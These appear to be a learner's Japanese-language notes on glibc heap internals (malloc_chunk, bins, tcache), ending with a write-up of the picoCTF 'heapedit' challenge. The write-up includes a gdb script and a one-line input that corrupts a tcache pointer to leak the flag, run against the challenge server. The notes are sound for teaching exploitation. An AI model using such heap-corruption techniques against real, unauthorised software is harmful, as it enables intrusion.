よちよちCTFerがHeap完全に理解したになるまでのメモ

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

/*
   have_fastchunks indicates that there are probably some fastbin chunks.
   It is set true on entering a chunk into any fastbin, and cleared early in
   malloc_consolidate.  The value is approximate since it may be set when there
   are no fastbin chunks, or it may be clear even if there are fastbin chunks
   available.  Given it's sole purpose is to reduce number of redundant calls to
   malloc_consolidate, it does not affect correctness.  As a result we can safely
   use relaxed atomic accesses.
 */

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

typedef struct malloc_chunk* mchunkptr;
mchunkptr bins[]; // Array of pointers to chunks

/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			      \
             - offsetof (struct malloc_chunk, fd))

#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
#endif

/* The maximum fastbin request size we support */
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
#define NFASTBINS  (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

/* Maximum size of memory handled in fastbins.  */
static INTERNAL_SIZE_T global_max_fast;

/*
   Set value of max_fast.
   Use impossibly small value if 0.
   Precondition: there are no existing fastbin chunks in the main arena.
   Since do_check_malloc_state () checks this, we call malloc_consolidate ()
   before changing max_fast.  Note other arenas will leak their fast bin
   entries if max_fast is reduced.
 */

#define set_max_fast(s) \
  global_max_fast = (((size_t) (s) <= MALLOC_ALIGN_MASK - SIZE_SZ)	\
                     ? MIN_CHUNK_SIZE / 2 : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))

typedef struct malloc_chunk *mfastbinptr;

struct malloc_state
{
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
};

/*
   Unsorted chunks

    All remainders from chunk splits, as well as all returned chunks,
    are first placed in the "unsorted" bin. They are then placed
    in regular bins after malloc gives them ONE chance to be used before
    binning. So, basically, the unsorted_chunks list acts as a queue,
    with chunks being placed on it in free (and malloc_consolidate),
    and taken off (to be either used or placed in bins) in malloc.

    The NON_MAIN_ARENA flag is never set for unsorted chunks, so it
    does not have to be taken into account in size comparisons.
 */

/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M)          (bin_at (M, 1))

/*
   Indexing

    Bins for sizes < 512 bytes contain chunks of all the same size, spaced
    8 bytes apart. Larger bins are approximately logarithmically spaced:

    64 bins of size       8
    32 bins of size      64
    16 bins of size     512
     8 bins of size    4096
     4 bins of size   32768
     2 bins of size  262144
     1 bin  of size what's left

    There is actually a little bit of slop in the numbers in bin_index
    for the sake of speed. This makes no difference elsewhere.

    The bins top out around 1MB because we expect to service large
    requests via mmap.

    Bin 0 does not exist.  Bin 1 is the unordered list; if that would be
    a valid chunk size the small bins are bumped up one.
 */

#define NBINS             128
#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define smallbin_index(sz) \
  ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
   + SMALLBIN_CORRECTION)

#define largebin_index_32(sz)                                                \
  (((((unsigned long) (sz)) >> 6) <= 38) ?  56 + (((unsigned long) (sz)) >> 6) :\
   ((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
   ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
   ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
   ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
   126)

#define largebin_index_32_big(sz)                                            \
  (((((unsigned long) (sz)) >> 6) <= 45) ?  49 + (((unsigned long) (sz)) >> 6) :\
   ((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
   ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
   ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
   ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
   126)

/* Only used for large blocks: pointer to next larger size.  */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  uintptr_t key;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

$ LD_PRELOAD=./libc.so.6 ./heapedit
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!

$ pwninit
bin: ./heapedit
libc: ./libc.so.6
ld: ./ld-2.27.so

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
setting ./ld-2.27.so executable
copying ./heapedit to ./heapedit_patched
running patchelf on ./heapedit_patched
writing solve.py stub

$ ./heapedit_patched 
Segmentation fault

$ ltrace ./heapedit_patched 
setbuf(0x7f033fedd760, 0)                                                    = <void>
fopen("flag.txt", "r")                                                       = 0
fgets( <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

  for (local_a4 = 0; local_a4 < 7; local_a4 = local_a4 + 1) {
    local_98 = (undefined8 *)malloc(0x80);
    if (local_a0 == (undefined8 *)0x0) {
      local_a0 = local_98;
    }
    *local_98 = 0x73746172676e6f43;
    local_98[1] = 0x662072756f592021;
    local_98[2] = 0x203a73692067616c;
    *(undefined *)(local_98 + 3) = 0;
    strcat((char *)local_98,local_58);
  }

  local_88 = (undefined8 *)malloc(0x80);
  *local_88 = 0x5420217972726f53;
  local_88[1] = 0x276e6f7720736968;
  local_88[2] = 0x7920706c65682074;
  *(undefined4 *)(local_88 + 3) = 0x203a756f;
  *(undefined *)((long)local_88 + 0x1c) = 0;
  strcat((char *)local_88,(char *)&local_78);
  free(local_98);
  free(local_88);
  local_a8 = 0;
  local_a9 = 0;

  puts("You may edit one byte in the program.");
  printf("Address: ");
  __isoc99_scanf(&DAT_00400b48,&local_a8);
  printf("Value: ");
  __isoc99_scanf(&DAT_00400b53,&local_a9);
  *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;
  local_80 = malloc(0x80);
  puts((char *)((long)local_80 + 0x10));

gcc -Xlinker -rpath=./ -Wall -m64 -pedantic -no-pie --std=gnu99 -o heapedit heapedit.c

# gdb -x run.py
import gdb

BIN = "heapedit_patched"
gdb.execute('file {}'.format(BIN))
gdb.execute('b *{}'.format("0x4008c3"))
gdb.execute('b *{}'.format("0x40094a"))
gdb.execute('b *{}'.format("0x400966"))
gdb.execute('b *{}'.format("0x400a4f"))
gdb.execute('b *{}'.format("0x400a75"))
gdb.execute('run < input')

h = []
i = gdb.inferiors()[0]
for k in range(9):
    reg = int(gdb.parse_and_eval("$rax"))
    h.append(reg)
    gdb.execute("continue")

print(h)
for a in h:
    print(hex(a), end="  ")
    mem = i.read_memory(a, 0x30)
    print(mem.tobytes())

gdb.execute('quit')

local_98 = (undefined8 *)malloc(0x80) //こちらにFlagが格納される
local_88 = (undefined8 *)malloc(0x80) //ダミーの文字列が格納される

// free関数によって、local_88->local_98の順にtcacheに繋がれる
free(local_98);
free(local_88);

// tcacheからHeapを割り当てて中身を表示する(通常はダミー文字列が表示される)
local_80 = malloc(0x80);
puts((char *)((long)local_80 + 0x10))

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = 0;
  return (void *) e;
}

$ searchmem 0x603890
Searching for '0x603890' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x602088 --> 0x603890 --> 0x603800 --> 0x0 
[stack] : 0x7fffffffda30 --> 0x603890 --> 0x603800 --> 0x0 
[stack] : 0x7fffffffde10 --> 0x603890 --> 0x603800 --> 0x0

$ x/s 0x603800+0x8
0x603808:       "! Your flag is: picoCTF{testflag}\n"

  puts("You may edit one byte in the program.");
  printf("Address: ");
  __isoc99_scanf(&DAT_00400b48,&local_a8);
  printf("Value: ");
  __isoc99_scanf(&DAT_00400b53,&local_a9);
  *(undefined *)((long)local_a8 + (long)local_a0) = local_a9;

$ python -c 'import sys; sys.stdout.buffer.write(b"-5144\n" + b"\x00\x38\x60\x00")' > input

$ ./heapedit_patched < input 
You may edit one byte in the program.
Address: Value: lag is: picoCTF{testflag}

$ nc mercury.picoctf.net 17612 < input 
You may edit one byte in the program.
Address: Value: lag is: picoCTF{ XXXXXXXXXXXXXXXXXXXX }